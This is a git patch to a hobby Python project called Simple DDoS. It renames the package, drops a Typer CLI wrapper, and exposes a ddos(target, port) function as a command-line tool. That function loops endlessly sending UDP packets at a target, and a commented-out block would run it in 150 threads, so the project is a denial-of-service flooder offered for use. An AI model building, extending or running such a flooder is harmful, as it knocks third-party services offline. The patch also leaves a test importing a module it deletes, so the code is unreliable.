From 846b86fafd72efafc5c6f76a7f0dde6dd560aa74 Mon Sep 17 00:00:00 2001
From: Tiffany <tiffany@tiffanywhite.dev>
Date: Wed, 8 Nov 2023 23:18:30 -0500
Subject: [PATCH] Simplify Typer object

---
 simpleDDoS/__main__.py                        | 10 -------
 simpleDDoS/cli.py                             | 28 -------------------
 {simpleDDoS => simple_ddos}/__init__.py       |  2 +-
 simpleDDoS/ddos.py => simple_ddos/py_ddos.py  | 14 +++++++++-
 {simpleDDoS => simple_ddos}/tests/__init__.py |  0
 .../tests/test_running_ddos.py                |  0
 .../tests/test_simpleDDoS_cli.py              |  2 +-
 7 files changed, 15 insertions(+), 41 deletions(-)
 delete mode 100644 simpleDDoS/__main__.py
 delete mode 100644 simpleDDoS/cli.py
 rename {simpleDDoS => simple_ddos}/__init__.py (93%)
 rename simpleDDoS/ddos.py => simple_ddos/py_ddos.py (87%)
 rename {simpleDDoS => simple_ddos}/tests/__init__.py (100%)
 rename {simpleDDoS => simple_ddos}/tests/test_running_ddos.py (100%)
 rename {simpleDDoS => simple_ddos}/tests/test_simpleDDoS_cli.py (61%)

diff --git a/simpleDDoS/__main__.py b/simpleDDoS/__main__.py
deleted file mode 100644
index 280504a..0000000
--- a/simpleDDoS/__main__.py
+++ /dev/null
@@ -1,10 +0,0 @@
-"""Top-level package for Simple DDoS."""
-# simpleDDoS/__main__.py
-
-from simpleDDoS import cli, __app_name__
-
-def main():
-    cli.app(prog_name=__app_name__)
-
-if __name__ == "__main__":
-    main()
\ No newline at end of file
diff --git a/simpleDDoS/cli.py b/simpleDDoS/cli.py
deleted file mode 100644
index 422c8e6..0000000
--- a/simpleDDoS/cli.py
+++ /dev/null
@@ -1,28 +0,0 @@
-"""Top-level package for Simple DDoS."""
-# simpleDDoS/cli.py
-
-from typing import Optional
-
-import typer
-
-from simpleDDoS import __app_name__, __version__
-
-app = typer.Typer()
-
-def _version_callback(value: bool) -> None:
-    if value:
-        typer.echo(f"{__app_name__} v{__version__}")
-        raise typer.Exit()
-
-@app.callback()
-def main(
-        version: Optional[bool] = typer.Option(
-            None,
-            "--version",
-            "-v",
-            help="Show the application's version and exit.",
-            callback=_version_callback,
-            is_eager=True,
-        )
-) -> None:
-    return
\ No newline at end of file
diff --git a/simpleDDoS/__init__.py b/simple_ddos/__init__.py
similarity index 93%
rename from simpleDDoS/__init__.py
rename to simple_ddos/__init__.py
index a786be0..5f4ff28 100644
--- a/simpleDDoS/__init__.py
+++ b/simple_ddos/__init__.py
@@ -1,5 +1,5 @@
 """Top-level package for Simple DDoS."""
-# simpleDDoS/__init__.py
+# simple_ddos/__init__.py
 
 __app_name__ = 'simple_ddos'
 __version__ = "0.1.0"
diff --git a/simpleDDoS/ddos.py b/simple_ddos/py_ddos.py
similarity index 87%
rename from simpleDDoS/ddos.py
rename to simple_ddos/py_ddos.py
index e464a18..4d26f72 100644
--- a/simpleDDoS/ddos.py
+++ b/simple_ddos/py_ddos.py
@@ -1,6 +1,14 @@
+"""Top-level package for Simple DDoS."""
+# simple_ddos/py_ddos.py
+
+
 import os
 import platform
 import random
+import ipaddress
+from ipaddress import IPv4Address
+
+import typer
 
 # import threading
 import socket
@@ -47,8 +55,9 @@ def check_os():
 
 # Why use a try
 
-def init_app(target, port, ipaddress):
+def ddos(target: str, port: str, ip: bool = False):
     sent = 0
+    net = socket.getaddrinfo(target, port)
     try:
         while True:
             sock.sendto(bytes1, (target, port))
@@ -78,3 +87,6 @@ def init_app(target, port, ipaddress):
 # for i in range(150):
 #     thread = threading.Thread(target=ddos)
 #     thread.start()
+
+if __name__ == "__main__":
+    typer.run(ddos)
\ No newline at end of file
diff --git a/simpleDDoS/tests/__init__.py b/simple_ddos/tests/__init__.py
similarity index 100%
rename from simpleDDoS/tests/__init__.py
rename to simple_ddos/tests/__init__.py
diff --git a/simpleDDoS/tests/test_running_ddos.py b/simple_ddos/tests/test_running_ddos.py
similarity index 100%
rename from simpleDDoS/tests/test_running_ddos.py
rename to simple_ddos/tests/test_running_ddos.py
diff --git a/simpleDDoS/tests/test_simpleDDoS_cli.py b/simple_ddos/tests/test_simpleDDoS_cli.py
similarity index 61%
rename from simpleDDoS/tests/test_simpleDDoS_cli.py
rename to simple_ddos/tests/test_simpleDDoS_cli.py
index 3322704..c518d7f 100644
--- a/simpleDDoS/tests/test_simpleDDoS_cli.py
+++ b/simple_ddos/tests/test_simpleDDoS_cli.py
@@ -2,7 +2,7 @@
 
 from typer.testing import CliRunner
 
-from .. import __app_name__, __version__, cli
+from simpleDDoS import __app_name__, __version__, cli
 
 runner = CliRunner()